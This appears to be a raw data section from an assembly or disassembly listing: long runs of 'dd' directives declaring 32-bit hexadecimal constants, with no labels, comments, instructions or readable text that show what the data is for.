		dd 51C1797Fh, 8C4A9ACEh, 4F495260h, 4B3D519h, 4226B9Eh
		dd 37FA51ADh, 0AE43D280h, 147736E4h, 7AD47927h,	1B3C208Dh
		dd 3B1622B7h, 92535CD5h, 0F846CDC5h, 919F094Bh,	54EAE2DFh
		dd 0A8B5511Dh, 824D68FDh, 0BE433B89h, 85A1248Bh, 0A8152EBFh
		dd 405650C2h, 296BBCB5h, 15F6D96h, 142165BDh, 5DE9CC16h
		dd 2E1C102h, 7ECF880Fh,	0B4F180B7h, 89185085h, 848CCA49h
		dd 4BFFA01h, 0D434689Bh, 6F1DA434h, 5640E26Bh, 6BEBE72Dh
		dd 7F8149C6h, 2F0A7548h, 0CC050D79h, 0CA027DE1h, 96C2EA13h
		dd 7CF2B0C8h, 0ADC159C8h, 0B96EFB13h, 21519945h, 0BA153FEh
		dd 8527F8ADh, 0ACCE72FEh, 8244C95Ch, 0BF0146B8h, 45784305h
		dd 0F5D7F54Fh, 5AAD349Fh, 0F892D4ECh, 0E3F8D1AEh, 0E7CC335Fh
		dd 9B481802h, 43A14339h, 76E9C89Ch, 0C0325AF4h,	0EC5B4925h
		dd 0B18CD3D2h, 67965F68h, 5E4293F9h, 1CB09512h,	0DF1923CAh
		dd 8A30E9BFh, 0FFB897Bh, 1462F10Ch, 6F1DD4BEh, 40108F40h
		dd 5BEE89B1h, 0BE221398h, 0EF317D9h, 0F896130Fh, 148648EFh
		dd 71E3525Fh, 929E5655h, 4E575CB9h, 0F25B36DEh,	92CB102Dh
		dd 0C1DAF700h, 0F28107E2h, 359D5804h, 60EF01F8h, 0A989E9F5h
		dd 0D1C20AB6h, 62035E5Ch, 315E7A92h, 0CD6C1471h, 483282B5h
		dd 90A01E77h, 2AFA41B7h, 0D687382Ch, 691714F5h,	5200AF20h
		dd 0AD2C57BAh, 0DFEAD16Bh, 83B7D2DCh, 32B1512Bh, 0F3277ABEh
		dd 92C5B8E2h, 56936083h, 0A0847E53h, 8CB3486h, 0D1310480h
		dd 27D045A5h, 8CA64C4Ch, 6493E93Ah, 22FBE6EDh, 0BBD53D8Bh
		dd 50CFDAE4h, 54012DC6h, 4FB346F3h, 680F0B5Ah, 7559653Fh
		dd 4720FD8Ch, 4E915FE3h, 0EB67F3F4h, 0BC8FB59Eh, 5A9B5EE4h
		dd 5B76B640h, 27588A4Ah, 4E538B82h, 0DDF8883Eh,	0C90ABC0Eh
		dd 497F4780h, 3ED2399Eh, 0DE4659A8h, 5947E982h,	7B97FEDCh
		dd 12B587E0h, 0A89B041Ah, 0FCBA2EBDh, 0ED8308Dh, 515B0B7Ah
		dd 590A79E6h, 0A1C7709h, 0A65BE942h, 0F0964E88h, 0F848FA3Eh
		dd 26289A9Bh, 2FFBF929h, 85A09443h, 0E99FA3FAh,	8AF408B9h
		dd 200497E4h, 40CEC155h
		dd 0D3327F32h, 257DDCA6h, 30DAB41Bh, 33ABA0CBh,	0F1EA0B63h
		dd 0C8771347h, 3C471659h, 0E89A6E7Bh, 71CC681Bh, 28D38415h
		dd 78A7B258h, 3F469DA7h, 5A4A16F6h, 0AAE037C9h,	0B194A845h
		dd 7130BD83h, 5D803725h, 0A1095A66h, 0DE4BD5F3h, 11B03860h
		dd 4B013FF9h, 7EF56857h, 503F0773h, 4565B80Eh, 70D0F787h
		dd 0E9A3FE05h, 0C1F58524h, 0BF08034Eh, 0D2DA0449h, 8009DC3Dh
		dd 8F74FEA8h, 32E43E5Eh, 2D71B6F7h, 594207F1h, 860409F0h
		dd 0A7B71294h, 0E90F5230h, 7C92D635h, 88E3ED04h, 7F8259E8h
		dd 8F5D684h, 51031B43h,	99536652h, 876E71B2h, 58D0F5A3h
		dd 9AAAA09Dh, 29D5A716h, 0A9C22D04h, 14F115B4h,	0C1620140h
		dd 4CB4510h, 0F65BFA88h, 0E83631C2h, 48E5C1D6h,	0FD191D04h
		dd 0D2B0C3FEh, 2408030Ah, 5F526339h, 257DC5D2h,	0A1C150D1h
		dd 0D03AFB22h, 6E6B191Eh, 0E7A0FA4Fh, 89F25001h, 1066BA21h
		dd 4EBC85h, 8857EC80h, 482058E3h, 1C27D2D8h, 1087759h
		dd 5CC22DC4h, 0C474B2D5h, 2E3E924Ah, 92B02CE9h,	4EFCF631h
		dd 2842D1C8h, 0F09E23h,	0B15457EEh, 0FA800F79h,	9EFB9758h
		dd 2BBC8904h, 0B34961B9h, 529F605Fh, 8004FCB6h,	0F788C0C6h
		dd 0E8A500F8h, 549A1611h, 276844C8h, 1451492Ch,	18003A92h
		dd 5D96057Ch, 29670A80h, 30072DD8h, 0E0685B6Fh,	11934265h
		dd 0C554BB4Eh, 52A329D1h, 9DC92F34h, 51942E92h,	9494B7F4h
		dd 44792D35h, 997496BDh, 6B20E2F5h, 80699E48h, 0A52FC8EAh
		dd 49985F6Eh, 664DFC0Bh, 20D00C07h, 3B2E28CDh, 9CEEA3C5h
		dd 46090681h, 0BAF18553h, 2535568Ah, 0C37A6FD0h, 6B8546A1h
		dd 59F31157h, 0F54267Ch, 0D328891Dh, 9FC3D261h,	6D33C3Ch
		dd 2668D0B0h, 0EFE5468Ah, 7F1595EDh, 0F7816300h, 4BBE7AD4h
		dd 0CE61A134h, 369CF5h,	0FDFB66EDh, 189A6835h, 1CEEC69Dh
		dd 0AF86239Ch, 81813D04h, 2AE06EDFh, 748F8687h,	170C6808h
		dd 172A592Fh, 259E9D7h,	0E51ECE5h, 0D876E062h, 0DFF112FEh
		dd 0ED2DAF29h, 0ACD6D92Ch, 0E8F6966Fh, 752C0B01h, 52FCE919h
		dd 25764E1h, 8E3747h, 1DD4BB53h, 434AD912h, 32A1BF05h
		dd 89C2D9BCh, 0E50F5C0Ah, 44AB778Ch, 1231F3E4h,	7ED08800h
		dd 485E170Eh, 35968752h, 7421FEE1h, 3F938DFCh, 0E1445261h
		dd 2F67F425h, 62C28080h, 53FB8839h, 12BECF0Fh, 1F579536h
		dd 927BE580h, 0A1C756ABh, 74D63A51h, 0CA76E99Eh, 0B8E2FE2Fh
		dd 55E9E1FBh, 0A4A6D211h, 0B64FC9ADh, 7CE96B84h, 5F1268F0h
		dd 0FD2F3EA4h, 684FF14Ch, 2CEF00BEh, 10E97964h,	0FA74074Ah
		dd 0EEF3282h, 0BF3B3CA5h, 9F6402Ch, 0BC8F0FDBh,	0EBC0F022h
		dd 0C98B02C0h, 0EFAC10D7h, 7764518Fh, 0B5D3BCD5h, 1715FF80h
		dd 1662DE4h, 804CCE2h, 4A08A659h, 0CDB16B2h, 41B6E9E0h
		dd 0F286E697h, 2D3C40C1h, 0ED3D18E0h, 9D21351Ch, 7C7790B7h
		dd 100AFBA5h, 0A7513DE0h, 4327F928h, 820F2FDAh,	0C4631933h
		dd 0D5D2BB71h, 405ACAD5h, 9544F840h, 7C98CE0h, 25B9CC96h
		dd 0FCD2E456h, 0E57BDE9Eh, 0C9EF1274h, 318027BCh, 16515C6Ch
		dd 896C1B68h, 55983BB3h, 4DEE61BFh, 3A6B52BEh, 1DB968E0h
		dd 0E73D08AAh, 9781B3F8h, 30793C8Eh, 1D56205Eh,	54797669h
		dd 5F6EFFF7h, 5876238h,	5620E8DAh, 0EA862D8Ch, 44B3A1C0h
		dd 4BEA9h, 9C234168h, 53086033h, 0EFA0148Ch, 0C40B78A2h
		dd 0D1DFF77Fh, 36B9804Eh, 0E9579007h, 50174B5Bh, 99B47137h
		dd 0BF0222B8h, 131A2181h, 0F07EE042h, 920B45ACh, 50EDB88h
		dd 0C01ACD80h, 2048B355h, 34B8DD76h, 97497BE9h,	0C5BFE78h
		dd 0A126D828h, 374C6665h, 6AAF7CC2h, 0B89B02F6h, 53D6419h
		dd 54580E08h, 0AC718250h, 0AE648007h, 0C11903EBh, 8F0C0B1h
		dd 0F824880Fh, 8793A7DBh, 0CAAF1484h, 6A207E0Eh, 0C4A9B661h
		dd 990DC831h, 5C82FF5h,	19E9047h, 0EA7D3DC9h, 3E5FFA89h
		dd 4B82EC14h, 0BF576121h, 0CB0B07E0h, 30F81EACh, 0BA3DE393h
		dd 4CB3CA6Ch, 0FE54B79h, 9E460F0Eh, 0F504F943h,	227A3AFDh
		dd 4D254C2h, 760FEA5Fh,	0BD02D0A4h, 2ECB6235h, 6AB82CC3h
		dd 0D1760260h, 308F4D48h, 69044808h, 0C1805FC4h, 258EE6Ah
		dd 2D655759h, 8524E99Fh, 313881A8h, 0E527274Bh,	0AEFF88BEh
		dd 0AFE3843Dh, 0CFBC5408h, 93ACE05h, 94B8013Dh,	6B6D299Bh
		dd 500525C1h, 8271C76Ah, 7842DE8h, 12ACB25Dh, 9FF351B0h
		dd 0AF685704h, 0CFCFE24Dh, 0F09BC95Fh, 49949DF1h, 0C8E9CF09h
		dd 4D29D135h, 0F59F60F6h, 6DABE855h, 8C62106Ch,	25D5BD02h
		dd 42550BFDh, 0C4D205FFh, 0E6C42AAh, 2A9BC831h,	0C928404Eh
		dd 0DDD061F7h, 502703E9h, 5A808BF3h, 1D64182h, 7C22B52Dh
		dd 5300DCB1h, 0C615F468h, 0D55B484Bh, 5139620h,	301D246Eh
		dd 0ACD37465h, 2AEB10A5h, 81F6B129h, 75129DFAh,	91AC6EE3h
		dd 0C6B5B1h, 90F0F180h,	0CD1F229Eh, 99A52227h, 613F5E9Ah
		dd 1837D577h, 0EB299FB9h, 6009D652h, 595DE538h,	0C4414E2h
		dd 0F8E95981h, 105B625Eh, 680EFBA9h, 947C1137h,	0FC001A5Ah
		dd 0E90A6715h, 0E6BD0ECEh, 5551F20Dh, 0D505CDD7h, 0D4C57B20h
		dd 1B0D242Bh, 0B8500087h, 1466753Ch, 4220E917h,	7973D097h
		dd 4D7917E6h, 0C452EC54h, 0CDDD03BEh, 81A2D13Ah, 0F427E4F7h
		dd 0DE4E407Bh, 585DA0C2h, 314EB08Fh, 3C579097h,	2C600D7Fh
		dd 0BE1BB51h, 94AB65E9h, 0B7E2A474h, 3EE0A21h, 7E070E98h
		dd 0AC5F1816h, 1040F062h, 1E3EE8E9h, 0F90117FBh, 0A084410h
		dd 4450D068h, 0C1018F8Ah, 3D43AA0Dh, 0D8ED893Fh, 0C916D2EBh
		dd 9EB0165Dh, 0CCDA49E9h, 0B7D4E84Bh, 64EB328Fh, 0E9DB42F0h
		dd 995D199Ah, 852B67DEh, 0C869E9C1h, 7B40B1Ch, 6B0D00C5h
		dd 8A3F0A4Fh, 0DB207E6Ch, 0C5801257h, 4B09AF73h, 0CDFAB0C1h
		dd 0BD3B0324h, 1C8A0F4Fh, 2BE94D0Bh, 0C599F605h, 535EB0B6h
		dd 0EC2D41B2h, 6966A0F2h, 337E35BAh, 3364DA29h,	8886471Ah
		dd 0C2915E24h, 0D3E4960Eh, 0E3070273h, 92C38006h, 2C49223Fh
		dd 290EF78Ah, 0D966B292h, 17FB82Ch, 93E94386h, 0ADF32AC9h
		dd 2C683C2h, 16209B5Ah,	0CB05022Fh, 5659361Bh, 85C19177h
		dd 2BD30D2Ah, 0A4E22EB7h, 0AF1171D2h, 0F2CA7A0Eh, 0EAF88D84h
		dd 5F67C828h, 0D53391FDh, 0E82800D1h, 59C9252Ch, 0E4B0D6FCh
		dd 0B8CB8846h, 8901EDFCh, 0A52930E3h, 7F503F0Fh, 0E006CFC1h
		dd 4B5D5AE1h, 785A040h,	0F2DBE17Ch, 1F7F5092h, 54D9F759h
		dd 754CFDE1h, 2F82120Eh, 6D6FF1C0h, 0A1B8175Ch,	4BA3934Dh
		dd 0AC4BF9A9h, 804B781h, 38722109h, 6068E939h, 478AB83Ah
		dd 0D12001Eh, 3BA95FCEh, 62002D40h, 83417E77h, 399101E8h
		dd 3583D1F7h, 3D75136Fh, 0CA04F8A8h, 48973848h,	23E985CDh
		dd 3D4D954Eh, 771B7DC9h, 0D197DE14h, 537B4514h,	527A30EBh
		dd 50450BAh, 0D001607Ch, 0EC964BF2h, 4C1241BFh,	0B94BE27Eh
		dd 8AF180BCh, 0CBD42B9Fh, 3B3800ABh, 5A36882Ah,	9B6CBF2h
		dd 34CE5F7Ah, 3B06AF20h, 9098E1B1h, 5F673E6h, 1C74FE16h
		dd 9D6024B1h, 8583F557h, 68BD55E7h, 0CA734581h,	0A819E340h
		dd 0B22753B2h, 0E72D99Ah, 0FA4ED688h, 0A266D304h, 0A4023B4Dh
		dd 712C75Ah, 2C71C101h,	42072837h, 29F50DE9h, 384483BDh
		dd 0ED9B02DCh, 0E54BF2C2h, 2BB84960h, 0D2627D25h, 0E908808Eh
		dd 3496E3h, 8D0FDAF7h, 0E9BF3B86h, 5F0019F1h, 8B00EC8Ah
		dd 72F335CFh, 0E65640BEh
		dd 3A791828h, 0E1E9FB3Ch, 0F302A095h, 0FFCD75C8h, 3C11CD30h
		dd 0A0626026h, 91EC3F58h, 54657CB6h, 1CB8A003h,	7772F32Eh
		dd 985582CEh, 4ECB2166h, 0E9FE0E59h, 95CE0D6Bh,	0F3C9092Ch
		dd 27B5553Ah, 31E9C7F8h, 0AF19D41Bh, 0ED6545D9h, 58CE1644h
		dd 9C60D9F6h, 31783D7Dh, 50B28348h, 45B719B6h, 4DFCBF5Eh
		dd 354A2C9Ch, 0CE13023Eh, 0C3C15344h, 0F03C70E8h, 2E0A0551h
		dd 0C0001329h, 758741Eh, 0C1DEF76Fh, 0D6A4EEE6h, 2DE8C146h
		dd 403BED02h, 0FD5F0DF6h, 0F3016512h, 4E080610h, 15EB7D95h
		dd 34B67FB0h, 0CF0D2A07h, 846B0144h, 0DBAC6D11h, 0C49CCA5Eh
		dd 6DB80CA2h, 0F2C9E8D4h, 0E92FC8E6h, 0CE22B11h, 7C880A3Dh
		dd 9CCB2CDEh, 43A34022h, 0DF91BFB6h, 0E23CE989h, 45D5702Dh
		dd 649B0BD9h, 0ACB196BAh, 4002882Fh, 0AC53B394h, 7B852C46h
		dd 2F05CD05h, 9825A03h,	0D03102D8h, 2A2C6661h, 21099DF2h
		dd 4C54BF30h, 1F459F03h, 0FC180523h, 0FFA6C738h, 8E93F02h
		dd 24FDE4F5h, 0F144D06h, 4E402FEFh, 2B3A880Fh, 0DCF599C0h
		dd 595EFC71h, 0E94A7B55h, 0C7E90B22h, 0C126D1E5h, 4C59B268h
		dd 0FEF251BCh, 0ABB5222Ch, 0E280A012h, 2D334CB8h, 0F37A2B58h
		dd 8269EF0Bh, 784AF68h,	0C5861E9h, 41CA9640h, 3FF64613h
		dd 0BEFD1706h, 37A95C7h, 9E8DF23h, 70016A24h, 0DBFC3F56h
		dd 0D54D031h, 0D2FA66E9h, 1D024CE6h, 1FB4471Dh,	56FC8939h
		dd 9DC2EE1Bh, 2C165554h, 84D03209h, 0F5E04028h,	62F138B9h
		dd 0F93E47CCh, 0F9491B16h, 0D9842724h, 10792FF3h, 7E20AF17h
		dd 4C805831h, 0D803E73Dh, 4E06BE5Ah, 0E649808Dh, 0B4C437Eh
		dd 74A308Fh, 3EEACA81h,	0DF61162h, 0F54509F2h, 0FC48FE6Ch
		dd 5BA0665Ch, 6BC083D3h, 0B30837F3h, 0EED643h, 0B39E30Ah
		dd 0B2907986h, 361E1C30h, 40FAE94Bh, 0DCF989A0h, 45C3ADC2h
		dd 0A2203EEAh, 0B9E35719h, 5ECEE020h, 9B54D858h, 0A6B59412h
		dd 583171F0h, 5C4D63E8h, 5569045Eh, 6D32BFB9h, 97FAF842h
		dd 53C547FBh, 0B55B75ABh, 58F300D2h, 22790211h,	3A63E94Ch
		dd 831A27CAh, 37030400h, 0D5B19BDAh, 4F3AACF2h,	29A20F0Bh
		dd 929C5F5Eh, 110C8725h, 0D13B54B8h, 2AFFA5B1h,	864CF8F7h
		dd 0BD895539h, 930B1DBFh, 0D8772A72h, 0D11F505Ah, 75E4EF12h
		dd 84A6A3D6h, 0E3C11B94h, 290137F6h, 5B84205Ch,	82FFC1B5h
		dd 6DC8913Fh, 8A53024Eh, 0B083D79Eh, 0FD8C040Fh, 8102A9F9h
		dd 761AF7EEh, 35E75841h, 9B2C7A9Ch, 0DD82823Ch,	0C797ECAh
		dd 50A5006Bh, 0C3736A6Fh, 1472F20Ch, 8D67E9C0h,	502B48B5h
		dd 883C1FB4h, 0BCBB16E2h, 6BD85BA2h, 0E32BEF8Bh, 0BA25848Dh
		dd 551DEC18h, 61001895h, 0C655AB22h, 10805C0Ch,	144AE93Dh
		dd 4C78F4B6h, 0B91071DCh, 4E350E86h, 7BC04BFDh,	0EB9A8CDh
		dd 56EA28F9h, 41E4E6C0h, 461363ADh, 19F053E9h, 890F1240h
		dd 12E35F0Dh, 599BC0C4h, 2D04F829h, 60DE67A5h, 0E222E0A6h
		dd 883BF7F6h, 98166570h, 0B600F052h, 0D75A87A2h, 0A9659F01h
		dd 6CFE5692h, 0E980336Bh, 913D5307h, 7220892Eh,	0AE847484h
		dd 0AADF217h, 9ED4E9E4h, 2D2FA7D0h, 501CC7Ah, 22F036D5h
		dd 170D801h, 5C511680h,	0A0FC146Eh, 0AC4BD449h,	9351DE3h
		dd 0B2CC06Fh, 3A7195B8h, 56DA57E2h, 592A6F12h, 75092F4h
		dd 4535D8E9h, 65AE410h,	4558DDEAh, 8F082E5Ch, 0DA09A713h
		dd 614FCBDh, 40540AE9h,	32056816h, 9121E1E3h, 9B80E437h
		dd 0B55F446Eh, 0A16599B8h, 55A0BB04h, 1B855D58h, 0AA3623BAh
		dd 2437FA94h, 56F7A992h, 1000CAB3h, 925925CDh, 759677F9h
		dd 106E39B5h, 28A1E900h, 59EC4C83h, 8B39CC05h, 5E43B03Fh
		dd 190F4D40h, 2B19968Ah, 0CEF600D5h, 0B79813E1h, 3E529963h
		dd 0BB56852Ch, 5EF70B88h, 0F26A48D4h, 0B31CCA00h, 9F35E97Ch
		dd 7B6AEE48h, 0B50FA9BBh, 0D5007709h, 954CC7C6h, 0BFE098C1h
		dd 4E20A544h, 0EB800CC5h, 26085A0Bh, 23B6521Eh,	0A3AAC68Fh
		dd 0B7FE14EEh, 0E6C0CE20h, 17F6FA06h, 5DEAE9A7h, 0B07853C7h
		dd 0EE1DBFC1h, 0A4F08D3Ah, 2DAE446Ah, 1A4529DDh, 0B7ED8993h
		dd 0DCE93F7Bh, 31AEC885h, 9EA1BCCFh, 2DBED1E5h,	65B832C0h
		dd 983C6028h, 0CF8EC704h, 0BFFE4Ch, 66AE35F4h, 0DAA039B1h
		dd 9125E907h, 0A4614556h, 87E325C4h, 0C03AEC01h, 0DEF605EEh
		dd 9195CCF4h, 879A425h,	0F7053AA0h, 87EC43D3h, 7E04D94Ch
		dd 0F1C0840Fh, 408F6A04h, 773E2F1Bh, 0BB0A0BEDh, 0F75C7742h
		dd 19064112h, 1815857Ah, 807E1C1h, 80F103E9h, 895A86BAh
		dd 0D2D301DEh, 5A1DBD6Ah, 6BACDCC4h, 2B86F44Eh,	0A633B55Ah
		dd 51C0811Eh, 125D2B20h, 0C036B44Fh, 8D0BC708h,	3D475058h
		dd 0B23E2695h, 17E3D908h, 5330B5Ch, 13BBE6E0h, 20145F07h
		dd 69C2DA09h, 0DF3BFF55h, 37FA1192h, 927F6220h,	22D7900Ch
		dd 0F462B2C4h, 0C9295B0Bh, 0BD75A9B2h, 169EDAE1h, 2683AEC2h
		dd 5EF08DB6h, 107B7D14h, 0BB02C0DCh, 367D3478h,	470DA4E0h
		dd 95548A2Eh, 5EB19D12h, 0D29B772Ah, 0B875F637h, 99685022h
		dd 396AB7CDh, 24F3F3C4h, 0ACEC6108h, 0B4330E63h, 9110F120h
		dd 0DDA11468h, 4EDF3D28h, 8B503001h, 173A23D6h,	369B01Eh
		dd 340AB8F6h, 0C80CC222h, 825ED225h, 6A2E5DC8h,	15A52C3Fh
		dd 607D90DDh, 31692C5Dh, 0F7F29924h, 6E0A389Dh,	15AE0564h
		dd 0AC077EE9h, 0B2C4E4F7h, 0B26F53FFh, 0D2EFCEA5h, 5CEB28BAh
		dd 2FFEC8BFh, 4F0C94B0h, 0EA3AB804h, 8B132474h,	9E5CEECh
		dd 0F510584Dh, 180A5ADh, 0B51D9AD7h, 92049643h,	5FCF70EBh
		dd 878ABEF9h, 0EDE98B65h, 41668041h, 7E2309h, 3D7CA9B9h
		dd 0DA1626A0h, 185492Ah, 7925CF74h, 0D47825DBh,	0B480904Ah
		dd 9F21A968h, 0E32EF76Eh, 0DE825DFEh, 42EEF733h, 81825C08h
		dd 0FCA8E3EFh, 25362C56h, 5F2640B9h, 0ABBB0453h, 0BB34DA2Fh
		dd 6AB12201h, 5B20090Bh, 0B8590202h, 30E9433Eh,	45FBFF58h
		dd 81207F3h, 80016483h,	0A9EFDE09h, 40C236BDh, 0E9E69112h
		dd 0FEE6CDEAh, 0ACA7F04Bh, 0B354BC4Eh, 8645FC09h, 9462AC7Dh
		dd 2F00748Dh, 405822A9h, 575B951h, 21117F16h, 0A0C7B0C8h
		dd 91442F4Ah, 56EA9E1Fh, 9D91B49Ah, 9BF8C40h, 3F1178FAh
		dd 6726DD5Bh, 810E6102h, 2EFE82C9h, 0BB7B602Ah,	326F2549h
		dd 1B13EB7Ch, 0E7B82943h, 401A924Fh, 27359AA0h,	4D2503CEh
		dd 36B1F458h, 74D35412h, 0CD071F9h, 21050841h, 0C42F42CDh
		dd 5F340009h, 0C1E9E821h, 10D1934Ah, 37E93D19h,	97F27DECh
		dd 0A8EFB998h, 0F481FDA9h, 4E0F31B6h, 0C9D58979h, 3000604Dh
		dd 90E097F4h, 55C084D1h, 2B1088C5h, 9208F603h, 0D29ABF36h
		dd 0D24EAC52h, 7CB04C91h, 0D7DE6669h, 0B9095272h, 0CCABA4FCh
		dd 0DBB4E57Dh, 60F94204h, 0BDDC2DC0h, 139F4E06h, 1655D812h
		dd 7F224C5Fh, 691B4408h, 0E80C8B6Bh, 3704DF44h,	148B4E2Ch
		dd 0E95328BFh, 5B2B38E1h, 415D1AD8h, 70EC00C9h,	1102B73Eh
		dd 6B778D05h, 0DEBC860h, 0DB211F49h, 4BC84037h,	96E9642Fh
		dd 59275196h, 0E0574663h, 14A9E3Ah, 0B564BF28h,	0AC71D7A9h
		dd 0DA649631h, 4E0217B9h, 0C5ECF047h, 6B132404h, 0A5F184E9h
		dd 2599F12Fh, 0C1EF10F9h, 7F9003E2h, 2EC0DB4Eh,	5F850F4Dh
		dd 12951FAFh, 686C8179h, 0A7062A81h, 1DCF18Ah, 0C7A8E2C2h
		dd 513406E9h, 37BCA89h,	4D17802Dh, 507CB036h, 2D5E0705h
		dd 0F844C331h, 2C89867Ch
		dd 555F2C2Ah, 219E910h,	0C4F97460h, 7AF6CFDDh, 59C04195h
		dd 0B3D4F032h, 0BF02CF5Ch, 40E42F8Eh, 0F709E1FEh, 8AFF4D7h
		dd 5F12A2AAh, 20A9F708h, 0B5F3FAF0h, 14DDDA09h,	0EB830758h
		dd 99F2E902h, 7FBFB1A2h, 0A86FF47Ch, 880F0FDBh,	96B2A04Ah
		dd 0EEFEA0E0h, 0F32E1F41h, 0A9E04F8Eh, 9E45B68h, 12F06610h
		dd 29A52554h, 4094EEC9h, 1ED4F653h, 8BCBEC80h, 0FFA0A44Fh
		dd 210B8F68h, 182A2E7Bh, 0E19DA123h, 0E8E8F42Bh, 71AB72Dh
		dd 0DF541A42h, 60585A62h, 2071A3F0h, 0E30B132Fh, 874845C7h
		dd 2D40C3B2h, 5CF76864h, 77254DD3h, 2E5FEE61h, 53139DF6h
		dd 0FF37EE0Ch, 61B19E94h, 0D67ABCF8h, 7FFDA60Ah, 124CF148h
		dd 21FF5A5Fh, 39BE46D5h, 0AD317E2Bh, 18D5616Bh,	0F51CC7Bh
		dd 84DFAB48h, 0E0BC7A8Ch, 0A0F755C4h, 0DFBCA855h, 51820F02h
		dd 27CE7D21h, 987E6BBFh, 4FCD228Eh, 405F290Dh, 8806493Fh
		dd 0BEBF3902h, 0D5FB5457h, 0BF097D04h, 0B40A7D81h, 0DEB38283h
		dd 51F8C380h, 85EE268h,	34043DF3h, 0E85BDD88h, 84ED1CBEh
		dd 0EC07F5D2h, 0CBB159EBh, 78CE810Fh, 7248CD7Bh, 89D9D1BAh
		dd 806BEB13h, 0E2177B08h, 7DBF3512h, 8106FE0Bh,	2590F801h
		dd 0F7761C49h, 0E316F5D2h, 64C46816h, 0C3E03DBCh, 0B82F155Bh
		dd 8B5A874h, 7066E909h,	0E7801E57h, 88140BD8h, 3D865DA0h
		dd 0FBF47E5Ch, 0C014E060h, 168003E1h, 42813F1h,	109B028Ah
		dd 52C102C1h, 775B1777h, 0E90B1EE7h, 277AFEDFh,	0D7522454h
		dd 0F028D5AFh, 5D45882Eh, 0AB8897D4h, 0D5E72EE9h, 0B318C2FDh
		dd 51992275h, 3F02099Dh, 4459CB4Eh, 870A9328h, 8178174Ch
		dd 8D7BD102h, 75D88044h, 16389B6Dh, 0D3B9DDE9h,	9F4FD04h
		dd 90CADA09h, 9D3E9269h, 0C55DADE2h, 0DD68C2B2h, 96B6CCDEh
		dd 25557B0Ah, 0A4D16987h, 283F4A80h, 0EDD2F74Dh, 5F030h
		dd 491DBF57h, 0FA2175CFh, 0FC11E918h, 3FD7BDE3h, 0CE05B3Ch
		dd 64BA1C39h, 29994195h, 0A051D31h, 0C83671ABh,	0E81E4405h
		dd 0E0D3A144h, 4CC8B6Bh, 30223B07h, 2FB722FAh, 5C129074h
		dd 8FCF71FFh, 76353A86h, 0A2C1CD81h, 483DCC2Fh,	2E8A2900h
		dd 685EF101h, 30224F9Fh, 1865A520h, 0E996620Bh,	6CD15809h
		dd 0CD3E024Eh, 0E2A7941Fh, 7A4B9989h, 693F0D6h,	5E514A3Fh
		dd 570C2859h, 0A261562Ah, 951A7E31h, 0BF395858h, 0DC0C2877h
		dd 0E63CB0Ch, 1F30304Fh, 1E3EB11Ch, 163DE4EFh, 0C9D64938h
		dd 0CAF10042h, 57D06840h, 587A0011h, 0ED9B805h,	4530E988h
		dd 89EA337Dh, 17603B6Dh, 0A4EDC201h, 702943C7h,	8A5FDACAh
		dd 8537C791h, 1A262D00h, 0BABE5598h, 6F80720h, 75AE1309h
		dd 7324805Eh, 95299047h, 81EEB72Fh, 245F1060h, 634FE92Fh
		dd 0E180270Fh, 0CB8853ECh, 950578CAh, 68CEA2D9h, 6DA2DDEh
		dd 0D3C21D4Eh, 5FCA4653h, 0B041865Bh, 0ABED340h, 159B5671h
		dd 617404A2h, 0CE50C04Fh, 3C281E75h, 2405C021h,	29E8EBF4h
		dd 7269F944h, 21B1C2A8h, 0F41F28F1h, 0B63B16B1h, 3A085EE7h
		dd 0F331A74Dh, 0BCCB3BC3h, 137749C4h, 3DA46A04h, 0A997B623h
		dd 90706102h, 0AF0B7E0Ah, 0B81F3E5h, 29B0508Fh,	4482A502h
		dd 4E81E6EDh, 0C8E58C7h, 6F3F2DDDh, 12D4DA5Ah, 17F62710h
		dd 3B406EE9h, 7658252Dh, 50551FDAh, 0C93495Dh, 90101E9Bh
		dd 9258C10Dh, 0BF015E50h, 29A9AF89h, 0FA761BDFh, 5A7772ADh
		dd 0BB52C45Ah, 0E90BA0CFh, 0C0E6F448h, 654AF200h, 870F1497h
		dd 0B7B29AF3h, 0BC4C0DC0h, 464919BAh, 884505E6h, 9B8631E5h
		dd 121FB616h, 64070758h, 905B2C8h, 0F9E1200Fh, 0B056781Ah
		dd 53B74039h, 7A4F98ECh, 12E49A3h, 3B4E425Ah, 0A1133052h
		dd 3E041D3Fh, 77BFA0B1h, 0D18EB536h, 6F895E7Ch,	9210C2Ch
		dd 4532E9D0h, 0C3883C54h, 0D4688602h, 0E62D496Eh, 68D2B83Ah
		dd 0BE1E596Ch, 845D8B85h, 134A805Dh, 28756A14h,	5186C724h
		dd 65ED6850h, 54BD5D39h, 65046F90h, 0C4101E03h,	5AD84B70h
		dd 342C6201h, 0F5E1DAF5h, 5E4020F3h, 860C0760h,	0B01C9056h
		dd 3BF20007h, 0EB313329h, 254BF9E9h, 6B8995FCh,	0C2BFF178h
		dd 3894C628h, 5496C7C6h, 0C13B0158h, 20789117h,	0B9355128h
		dd 2E1711C5h, 0C34FDAFDh, 0D7C61909h, 0F7CA25A0h, 0C9BCEC4Ah
		dd 4EBE6410h, 0EB009EE8h, 55FDD49h, 0C1012147h,	0E9C63145h
		dd 0CA7AE497h, 22680A5Ch, 0A0BA8C0Ah, 1C719DBDh, 0C9045792h
		dd 0B21A9F17h, 0F989D710h, 9BA84AFAh, 5BEED231h, 2C1C1D61h
		dd 42FD5962h, 0EB88F451h, 0F8305121h, 89B7651Ah, 0E833C232h
		dd 3C182D80h, 14B545A0h, 0FBBE047Ah, 8041F806h,	5E3BA469h
		dd 8F0F2D05h, 0D1F439C7h, 93D105D4h, 0E89BE9FEh, 0C380C2AEh
		dd 5224D484h, 44E0897Dh, 2FA42AB6h, 39E9121Bh, 8DDFB4CFh
		dd 88FD7B51h, 62B4674h,	23C5AEE9h, 6950ED1Eh, 7FB23E52h
		dd 2698A04Fh, 78B90F40h, 164613B2h, 0F45B1EC1h,	3B5EB868h
		dd 968B8C49h, 4145593Ah, 0FD4F20D3h, 142565C0h,	219408h
		dd 0A6F92D40h, 0D7E9B007h, 8F361069h, 5E00324Ch, 51595FFAh
		dd 8DE4C01h, 13B85E10h,	921D0966h, 760F811Dh, 72929E8h
		dd 0CA4B8F21h, 3E67D55Fh, 601F3088h, 527FB050h,	10A8B658h
		dd 68098EB2h, 0CFB03D61h, 0BA9FF2F8h, 9D2DB01h,	1F5E30D0h
		dd 97F54750h, 6FFD6D2Eh, 890B4A59h, 0BE67F8C2h,	2FB54603h
		dd 1D582DEAh, 5D8879Eh,	0B8C71EC4h, 8E29A0C0h, 5E10986Ah
		dd 0C1D4B408h, 406B0F12h, 0E34B803h, 24C08D28h,	19787709h
